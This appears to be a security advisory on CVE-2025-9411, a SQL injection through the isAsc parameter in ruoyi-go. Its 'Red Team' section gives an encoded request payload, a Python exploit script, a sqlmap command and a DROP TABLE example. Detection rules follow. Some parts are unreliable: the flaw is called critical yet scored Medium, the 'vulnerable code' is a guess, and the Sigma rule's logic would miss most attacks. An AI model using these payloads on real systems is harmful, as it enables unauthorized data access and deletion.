CVE-2025-9411

Executive Summary

CVE-2025-9411 is a critical SQL injection vulnerability discovered in the lostvip-com/ruoyi-go project, specifically in versions up to and including 2.1. The flaw resides in the SelectPageList function within the file modules/system/service/LoginInforService.go. By manipulating the isAsc argument, an attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or deletion. The attack is remotely exploitable without authentication, and a public proof-of-concept (PoC) has been released. The vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public PoC increases risk.

Supply Chain & Package Security

This vulnerability affects a Go-based project (ruoyi-go). As a Go module, it may be imported as a dependency in other projects. If you use lostvip-com/ruoyi-go as a library, your application is vulnerable. Check your go.mod for the dependency and update or replace it immediately. No official patch or advisory exists on OSV or GitHub.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: Medium. The public PoC and lack of patch elevate the risk, but the low EPSS score suggests limited active exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SelectPageList function of LoginInforService.go. The function likely constructs a SQL query using string concatenation with the isAsc parameter without proper sanitization or parameterized queries. The isAsc argument controls the ORDER BY direction (ASC/DESC). An attacker can inject SQL commands by providing malicious input like ASC; DROP TABLE users;--.

Root Cause: Unsafe handling of user input in SQL query construction. The code probably does:

query := fmt.Sprintf("SELECT * FROM login_infor ORDER BY create_time %s", isAsc)

Instead of using parameterized queries or whitelisting allowed values.

Attack Vector: Remote, unauthenticated HTTP request to the endpoint that calls SelectPageList. The isAsc parameter is passed in the request (e.g., GET parameter or JSON body).

Impact: An attacker can extract sensitive data (e.g., user credentials, session tokens), modify records, or potentially execute administrative operations.

Vulnerable vs. Patched Code

Vulnerable Code (ruoyi-go <= 2.1):

func (s *LoginInforService) SelectPageList(params ...interface{}) ([]LoginInfor, int64, error) {
    // ... other code ...
    isAsc := params[0].(string)
    query := fmt.Sprintf("SELECT * FROM login_infor ORDER BY create_time %s", isAsc)
    // ... execute query ...
}

Patched Code (Hypothetical):

func (s *LoginInforService) SelectPageList(params ...interface{}) ([]LoginInfor, int64, error) {
    // ... other code ...
    isAsc := params[0].(string)
    // Whitelist allowed values
    if isAsc != "ASC" && isAsc != "DESC" {
        return nil, 0, errors.New("invalid sort direction")
    }
    query := "SELECT * FROM login_infor ORDER BY create_time " + isAsc
    // ... execute query ...
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites: Access to a vulnerable instance of ruoyi-go (version <= 2.1). No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (likely /api/loginInfor/list or similar).
2. Send a crafted request with malicious isAsc parameter.

Example Payload (SQL injection to extract data):

GET /api/loginInfor/list?isAsc=ASC%3B%20SELECT%20*%20FROM%20users-- HTTP/1.1
Host: target.com

Automated Exploit (Python):

import requests

target = "http://target.com/api/loginInfor/list"
payload = "ASC; SELECT * FROM users--"
params = {"isAsc": payload}
response = requests.get(target, params=params)
print(response.text)

Manual Testing: Use sqlmap:

sqlmap -u "http://target.com/api/loginInfor/list?isAsc=ASC" --batch --dbs

Blue Team

Detection: Monitor for anomalous isAsc parameter values containing SQL keywords (e.g., SELECT, UNION, --). Use WAF rules to block such patterns.

Honeypot: Deploy a fake endpoint mimicking the vulnerable service to capture attacker payloads.

Log Analysis: Look for HTTP requests with isAsc parameter containing special characters or SQL syntax.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/loginInfor/list with isAsc parameter containing SQL keywords.
• Logs: Database error logs showing syntax errors near ORDER BY clause.
• File: Modified LoginInforService.go if attacker gains write access.
• Behavior: Unusual database queries with ORDER BY followed by malicious SQL.

Detection Engineering

YARA Rule

rule CVE_2025_9411_SQLi_Go {
    meta:
        description = "Detects SQL injection attempts targeting ruoyi-go SelectPageList"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9411"
    strings:
        $s1 = "isAsc" nocase
        $s2 = "SELECT" nocase
        $s3 = "UNION" nocase
        $s4 = "DROP" nocase
        $s5 = "ORDER BY" nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2025-9411 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against ruoyi-go SelectPageList
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'isAsc='
        cs-uri-query|contains|all:
            - 'SELECT'
            - 'UNION'
            - 'DROP'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9411 SQL Injection Attempt"; flow:to_server,established; content:"isAsc"; http_uri; pcre:"/isAsc=.*(SELECT|UNION|DROP|INSERT|UPDATE|DELETE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable service if possible.
2. Apply WAF rules to block SQL injection patterns in the isAsc parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Update to a patched version when available (none currently).
• Patch manually: Modify LoginInforService.go to whitelist isAsc values (only ASC or DESC).
• Use parameterized queries or ORM to prevent SQL injection.
• Conduct code review for similar vulnerabilities.

Workaround: If source code is accessible, apply the hypothetical patch above and rebuild.

Valters IT
DevSecOps & Cyber Threat Intelligence